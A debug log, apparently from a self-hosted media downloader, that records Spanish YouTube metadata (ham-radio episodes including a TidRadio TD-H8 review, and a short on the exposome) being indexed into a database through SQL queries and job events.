VACACIONES 2023.m4a", "id" => "5FwlXmU3Z_c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5FwlXmU3Z_c", "playlist_index" => 65, "timestamp" => 1691660985, "title" => "116 - VACACIONES 2023", "upload_date" => "20230810"} 22:51:50.565 [debug] QUERY OK source="sources" db=0.5ms idle=1794.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:51:50.566 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1795.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:51:50.567 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1795.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-10 09:49:45Z], 3] 22:51:50.568 [debug] QUERY OK source="media_items" db=1.0ms idle=1127.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Pues eso, parada y fonda (que se dice por aquí). Parada de unas semanas para descansar, recuperar fuerzas y desarrollar ideas. A mediados de septiembre me tendreis de vuelta. Mientras tanto, hacer mucha radio y... pasar unas buenas vacaciones.\n\nNos vemos en Iberradio !\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "116 - VACACIONES 2023", "929ff9b4-cbc2-4819-831f-4016b2daee82", 373, false, "5FwlXmU3Z_c", "https://www.youtube.com/watch?v=5FwlXmU3Z_c", 65, "/downloads/music/ea3grn/116 - VACACIONES 2023.m4a", false, false, false, 3, [], 98, ~U[2023-08-10 09:49:45Z], ~U[2026-02-07 21:51:50Z], ~U[2026-02-07 21:51:50Z], "Pues eso, parada y fonda (que se dice por aquí). Parada de unas semanas para descansar, recuperar fuerzas y desarrollar ideas. A mediados de septiembre me tendreis de vuelta. Mientras tanto, hacer mucha radio y... pasar unas buenas vacaciones.\n\nNos vemos en Iberradio !\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "116 - VACACIONES 2023", 373, false, "5FwlXmU3Z_c", "https://www.youtube.com/watch?v=5FwlXmU3Z_c", "/downloads/music/ea3grn/116 - VACACIONES 2023.m4a", false, 3, ~U[2023-08-10 09:49:45Z]] 22:51:50.569 [debug] QUERY OK source="sources" db=0.3ms idle=127.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:51:50.570 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:51:50.570 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1431] 22:51:50.571 [debug] Current batch of media processed. Will check again in 1000ms 22:51:51.286 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:51.476 [debug] Current batch of media processed. Will check again in 1000ms 22:51:51.571 [debug] Current batch of media processed. Will check again in 1000ms 22:51:52.477 [debug] Current batch of media processed. Will check again in 1000ms 22:51:52.572 [debug] Current batch of media processed. Will check again in 1000ms 22:51:53.478 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 8: EXPOSOMA: Descubre cómo los factores ambientales y tu código postal impactan drásticamente tu longevidad. ¡El exposoma influye cuatro veces más que tu genética! Analizamos la perspectiva de la naturaleza y revelamos datos impactantes. #Exposoma #Genética #Longevidad #FactoresAmbientales #CódigoPostal #Longevidad #Exposoma #Genética #SaludHumana #EsperanzaDeVida #Naturaleza #MedioAmbiente #Bienestar", "duration" => 55, "filename" => "/downloads/music/IA mí QUÉ/¿Tu Código Postal Determina Cuánto Vives? ¡Impactante!.m4a", "id" => "s2ePzdKZw9s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/s2ePzdKZw9s", "playlist_index" => 10, "timestamp" => 1747900893, "title" => "¿Tu Código Postal Determina Cuánto Vives? ¡Impactante!", "upload_date" => "20250522"} 22:51:53.479 [debug] QUERY OK source="sources" db=0.4ms idle=1708.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:51:53.480 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1708.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:51:53.481 [debug] QUERY OK source="media_items" db=0.9ms idle=1034.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-22 08:01:33Z], 2] 22:51:53.484 [debug] QUERY OK source="media_items" db=2.5ms idle=710.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 8: EXPOSOMA: Descubre cómo los factores ambientales y tu código postal impactan drásticamente tu longevidad. ¡El exposoma influye cuatro veces más que tu genética! Analizamos la perspectiva de la naturaleza y revelamos datos impactantes. #Exposoma #Genética #Longevidad #FactoresAmbientales #CódigoPostal #Longevidad #Exposoma #Genética #SaludHumana #EsperanzaDeVida #Naturaleza #MedioAmbiente #Bienestar", "¿Tu Código Postal Determina Cuánto Vives? ¡Impactante!", "45476c51-f11a-49ab-9550-eaef107844eb", 55, false, "s2ePzdKZw9s", "https://www.youtube.com/shorts/s2ePzdKZw9s", 10, "/downloads/music/IA mí QUÉ/¿Tu Código Postal Determina Cuánto Vives? ¡Impactante!.m4a", false, false, true, 2, [], 97, ~U[2025-05-22 08:01:33Z], ~U[2026-02-07 21:51:53Z], ~U[2026-02-07 21:51:53Z], "PARTE 8: EXPOSOMA: Descubre cómo los factores ambientales y tu código postal impactan drásticamente tu longevidad. ¡El exposoma influye cuatro veces más que tu genética! Analizamos la perspectiva de la naturaleza y revelamos datos impactantes. #Exposoma #Genética #Longevidad #FactoresAmbientales #CódigoPostal #Longevidad #Exposoma #Genética #SaludHumana #EsperanzaDeVida #Naturaleza #MedioAmbiente #Bienestar", "¿Tu Código Postal Determina Cuánto Vives? ¡Impactante!", 55, false, "s2ePzdKZw9s", "https://www.youtube.com/shorts/s2ePzdKZw9s", "/downloads/music/IA mí QUÉ/¿Tu Código Postal Determina Cuánto Vives? ¡Impactante!.m4a", true, 2, ~U[2025-05-22 08:01:33Z]] 22:51:53.484 [debug] QUERY OK source="sources" db=0.5ms idle=37.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:51:53.485 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:51:53.486 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1383] 22:51:53.486 [debug] Current batch of media processed. Will check again in 1000ms 22:51:53.573 [debug] Current batch of media processed. Will check again in 1000ms 22:51:54.487 [debug] Current batch of media processed. Will check again in 1000ms 22:51:54.574 [debug] Current batch of media processed. Will check again in 1000ms 22:51:55.488 [debug] Current batch of media processed. Will check again in 1000ms 22:51:55.575 [debug] Current batch of media processed. Will check again in 1000ms 22:51:56.489 [debug] Current batch of media processed. Will check again in 1000ms 22:51:56.576 [debug] Current batch of media processed. Will check again in 1000ms 22:51:57.490 [debug] Current batch of media processed. Will check again in 1000ms 22:51:57.577 [debug] Current batch of media processed. Will check again in 1000ms 22:51:58.491 [debug] Current batch of media processed. Will check again in 1000ms 22:51:58.578 [debug] Current batch of media processed. Will check again in 1000ms 22:51:59.492 [debug] Current batch of media processed. Will check again in 1000ms 22:51:59.579 [debug] Current batch of media processed. Will check again in 1000ms 22:52:00.134 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:00.493 [debug] Current batch of media processed. Will check again in 1000ms 22:52:00.580 [debug] Current batch of media processed. Will check again in 1000ms 22:52:01.494 [debug] Current batch of media processed. Will check again in 1000ms 22:52:01.581 [debug] Current batch of media processed. Will check again in 1000ms 22:52:02.495 [debug] Current batch of media processed. Will check again in 1000ms 22:52:02.582 [debug] Current batch of media processed. Will check again in 1000ms 22:52:03.496 [debug] Current batch of media processed. Will check again in 1000ms 22:52:03.583 [debug] Current batch of media processed. Will check again in 1000ms 22:52:04.497 [debug] Current batch of media processed. Will check again in 1000ms 22:52:04.584 [debug] Current batch of media processed. Will check again in 1000ms 22:52:05.498 [debug] Current batch of media processed. Will check again in 1000ms 22:52:05.585 [debug] Current batch of media processed. Will check again in 1000ms 22:52:06.499 [debug] Current batch of media processed. Will check again in 1000ms 22:52:06.586 [debug] Current batch of media processed. Will check again in 1000ms 22:52:07.500 [debug] Current batch of media processed. Will check again in 1000ms 22:52:07.587 [debug] Current batch of media processed. Will check again in 1000ms 22:52:08.501 [debug] Current batch of media processed. Will check again in 1000ms 22:52:08.588 [debug] Current batch of media processed. Will check again in 1000ms 22:52:09.502 [debug] Current batch of media processed. Will check again in 1000ms 22:52:09.589 [debug] Current batch of media processed. Will check again in 1000ms 22:52:10.503 [debug] Current batch of media processed. Will check again in 1000ms 22:52:10.590 [debug] Current batch of media processed. Will check again in 1000ms 22:52:11.504 [debug] Current batch of media processed. Will check again in 1000ms 22:52:11.591 [debug] Current batch of media processed. Will check again in 1000ms 22:52:12.505 [debug] Current batch of media processed. Will check again in 1000ms 22:52:12.592 [debug] Current batch of media processed. Will check again in 1000ms 22:52:13.506 [debug] Current batch of media processed. Will check again in 1000ms 22:52:13.593 [debug] Current batch of media processed. Will check again in 1000ms 22:52:14.507 [debug] Current batch of media processed. Will check again in 1000ms 22:52:14.594 [debug] Current batch of media processed. Will check again in 1000ms 22:52:15.508 [debug] Current batch of media processed. Will check again in 1000ms 22:52:15.595 [debug] Current batch of media processed. Will check again in 1000ms 22:52:16.509 [debug] Current batch of media processed. Will check again in 1000ms 22:52:16.596 [debug] Current batch of media processed. Will check again in 1000ms 22:52:17.510 [debug] Current batch of media processed. Will check again in 1000ms 22:52:17.597 [debug] Current batch of media processed. Will check again in 1000ms 22:52:18.511 [debug] Current batch of media processed. Will check again in 1000ms 22:52:18.598 [debug] Current batch of media processed. Will check again in 1000ms 22:52:19.512 [debug] Current batch of media processed. Will check again in 1000ms 22:52:19.599 [debug] Current batch of media processed. Will check again in 1000ms 22:52:20.513 [debug] Current batch of media processed. Will check again in 1000ms 22:52:20.600 [debug] Current batch of media processed. Will check again in 1000ms 22:52:21.288 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:21.514 [debug] Current batch of media processed. Will check again in 1000ms 22:52:21.601 [debug] Current batch of media processed. Will check again in 1000ms 22:52:22.515 [debug] Current batch of media processed. Will check again in 1000ms 22:52:22.602 [debug] Current batch of media processed. Will check again in 1000ms 22:52:23.516 [debug] Current batch of media processed. Will check again in 1000ms 22:52:23.603 [debug] Current batch of media processed. Will check again in 1000ms 22:52:24.517 [debug] Current batch of media processed. Will check again in 1000ms 22:52:24.604 [debug] Current batch of media processed. Will check again in 1000ms 22:52:25.518 [debug] Current batch of media processed. Will check again in 1000ms 22:52:25.605 [debug] Current batch of media processed. Will check again in 1000ms 22:52:26.519 [debug] Current batch of media processed. Will check again in 1000ms 22:52:26.606 [debug] Current batch of media processed. Will check again in 1000ms 22:52:27.520 [debug] Current batch of media processed. Will check again in 1000ms 22:52:27.607 [debug] Current batch of media processed. Will check again in 1000ms 22:52:28.521 [debug] Current batch of media processed. Will check again in 1000ms 22:52:28.608 [debug] Current batch of media processed. Will check again in 1000ms 22:52:29.522 [debug] Current batch of media processed. Will check again in 1000ms 22:52:29.609 [debug] Current batch of media processed. Will check again in 1000ms 22:52:30.523 [debug] Current batch of media processed. Will check again in 1000ms 22:52:30.610 [debug] Current batch of media processed. Will check again in 1000ms 22:52:31.524 [debug] Current batch of media processed. Will check again in 1000ms 22:52:31.611 [debug] Current batch of media processed. Will check again in 1000ms 22:52:32.525 [debug] Current batch of media processed. Will check again in 1000ms 22:52:32.612 [debug] Current batch of media processed. Will check again in 1000ms 22:52:33.526 [debug] Current batch of media processed. Will check again in 1000ms 22:52:33.613 [debug] Current batch of media processed. Will check again in 1000ms 22:52:34.527 [debug] Current batch of media processed. Will check again in 1000ms 22:52:34.614 [debug] Current batch of media processed. Will check again in 1000ms 22:52:35.528 [debug] Current batch of media processed. Will check again in 1000ms 22:52:35.615 [debug] Current batch of media processed. Will check again in 1000ms 22:52:36.529 [debug] Current batch of media processed. Will check again in 1000ms 22:52:36.616 [debug] Current batch of media processed. Will check again in 1000ms 22:52:37.530 [debug] Current batch of media processed. Will check again in 1000ms 22:52:37.617 [debug] Current batch of media processed. Will check again in 1000ms 22:52:38.531 [debug] Current batch of media processed. Will check again in 1000ms 22:52:38.618 [debug] Current batch of media processed. Will check again in 1000ms 22:52:39.532 [debug] Current batch of media processed. Will check again in 1000ms 22:52:39.619 [debug] Current batch of media processed. Will check again in 1000ms 22:52:40.533 [debug] Current batch of media processed. Will check again in 1000ms 22:52:40.620 [debug] Current batch of media processed. Will check again in 1000ms 22:52:41.534 [debug] Current batch of media processed. Will check again in 1000ms 22:52:41.621 [debug] Current batch of media processed. Will check again in 1000ms 22:52:42.535 [debug] Current batch of media processed. Will check again in 1000ms 22:52:42.622 [debug] Current batch of media processed. Will check again in 1000ms 22:52:43.537 [debug] Current batch of media processed. Will check again in 1000ms 22:52:43.623 [debug] Current batch of media processed. Will check again in 1000ms 22:52:44.537 [debug] Current batch of media processed. Will check again in 1000ms 22:52:44.624 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Un análisis crítico del walkie TIDRADIO H8 con Bluetooth.\n\nRevisamos a fondo el TidRadio H8 y sus funciones de programación Bluetooth. En el momento de realizar el test, no cumple todavía la salida de armónicos en europa, pero nos han asegurado desde TidRadio que lo revisarán y homologarán para el mercado europeo.\n\n#tidradio #h8 #radioaficionados #hamradio #walkie #td-h8 #revisión #análisis #tinySA #tinySA-ULTRA\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:39 - Intro canal\n00:58 - Puntualización inicial\n02:00 - Unboxing\n05:23 - Primer arranque\n08:02 - Unlock unidad\n08:31 - Márgenes frecuencia\n11:21 - Descripción funcionamiento\n16:25 - Modulo Bluetooth\n18:00 - Software Odmaster\n19:22 - Programando walkie via Bluetooth\n24:25 - Otros walkies via Bluetooth\n27:58 - Emisiones armónicos y cumplimiento CE\n37:35 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2381, "filename" => "/downloads/music/ea3grn/115 - UN ANALISIS CRITICO DEL WALKIE TIDRADIO TD-H8.m4a", "id" => "RkIaSqsrwQ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RkIaSqsrwQ4", "playlist_index" => 66, "timestamp" => 1691078430, "title" => "115 - UN ANALISIS CRITICO DEL WALKIE TIDRADIO TD-H8", "upload_date" => "20230803"} 22:52:44.625 [debug] QUERY OK source="sources" db=0.5ms idle=1853.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:52:44.626 [debug] QUERY OK source="sources" db=0.4ms idle=1854.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:52:44.627 [debug] QUERY OK source="media_items" db=0.6ms idle=1854.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-03 16:00:30Z], 3] 22:52:44.628 [debug] QUERY OK source="media_items" db=1.1ms idle=1090.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un análisis crítico del walkie TIDRADIO H8 con Bluetooth.\n\nRevisamos a fondo el TidRadio H8 y sus funciones de programación Bluetooth. En el momento de realizar el test, no cumple todavía la salida de armónicos en europa, pero nos han asegurado desde TidRadio que lo revisarán y homologarán para el mercado europeo.\n\n#tidradio #h8 #radioaficionados #hamradio #walkie #td-h8 #revisión #análisis #tinySA #tinySA-ULTRA\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:39 - Intro canal\n00:58 - Puntualización inicial\n02:00 - Unboxing\n05:23 - Primer arranque\n08:02 - Unlock unidad\n08:31 - Márgenes frecuencia\n11:21 - Descripción funcionamiento\n16:25 - Modulo Bluetooth\n18:00 - Software Odmaster\n19:22 - Programando walkie via Bluetooth\n24:25 - Otros walkies via Bluetooth\n27:58 - Emisiones armónicos y cumplimiento CE\n37:35 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "115 - UN ANALISIS CRITICO DEL WALKIE TIDRADIO TD-H8", "2485c7d7-544f-43de-822b-3d50355d0b31", 2381, false, "RkIaSqsrwQ4", "https://www.youtube.com/watch?v=RkIaSqsrwQ4", 66, "/downloads/music/ea3grn/115 - UN ANALISIS CRITICO DEL WALKIE TIDRADIO TD-H8.m4a", false, false, false, 3, [], 98, ~U[2023-08-03 16:00:30Z], ~U[2026-02-07 21:52:44Z], ~U[2026-02-07 21:52:44Z], "Un análisis crítico del walkie TIDRADIO H8 con Bluetooth.\n\nRevisamos a fondo el TidRadio H8 y sus funciones de programación Bluetooth. En el momento de realizar el test, no cumple todavía la salida de armónicos en europa, pero nos han asegurado desde TidRadio que lo revisarán y homologarán para el mercado europeo.\n\n#tidradio #h8 #radioaficionados #hamradio #walkie #td-h8 #revisión #análisis #tinySA #tinySA-ULTRA\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:39 - Intro canal\n00:58 - Puntualización inicial\n02:00 - Unboxing\n05:23 - Primer arranque\n08:02 - Unlock unidad\n08:31 - Márgenes frecuencia\n11:21 - Descripción funcionamiento\n16:25 - Modulo Bluetooth\n18:00 - Software Odmaster\n19:22 - Programando walkie via Bluetooth\n24:25 - Otros walkies via Bluetooth\n27:58 - Emisiones armónicos y cumplimiento CE\n37:35 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "115 - UN ANALISIS CRITICO DEL WALKIE TIDRADIO TD-H8", 2381, false, "RkIaSqsrwQ4", "https://www.youtube.com/watch?v=RkIaSqsrwQ4", "/downloads/music/ea3grn/115 - UN ANALISIS CRITICO DEL WALKIE TIDRADIO TD-H8.m4a", false, 3, ~U[2023-08-03 16:00:30Z]] 22:52:44.629 [debug] QUERY OK source="sources" db=0.4ms idle=89.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:52:44.630 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:52:44.631 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" 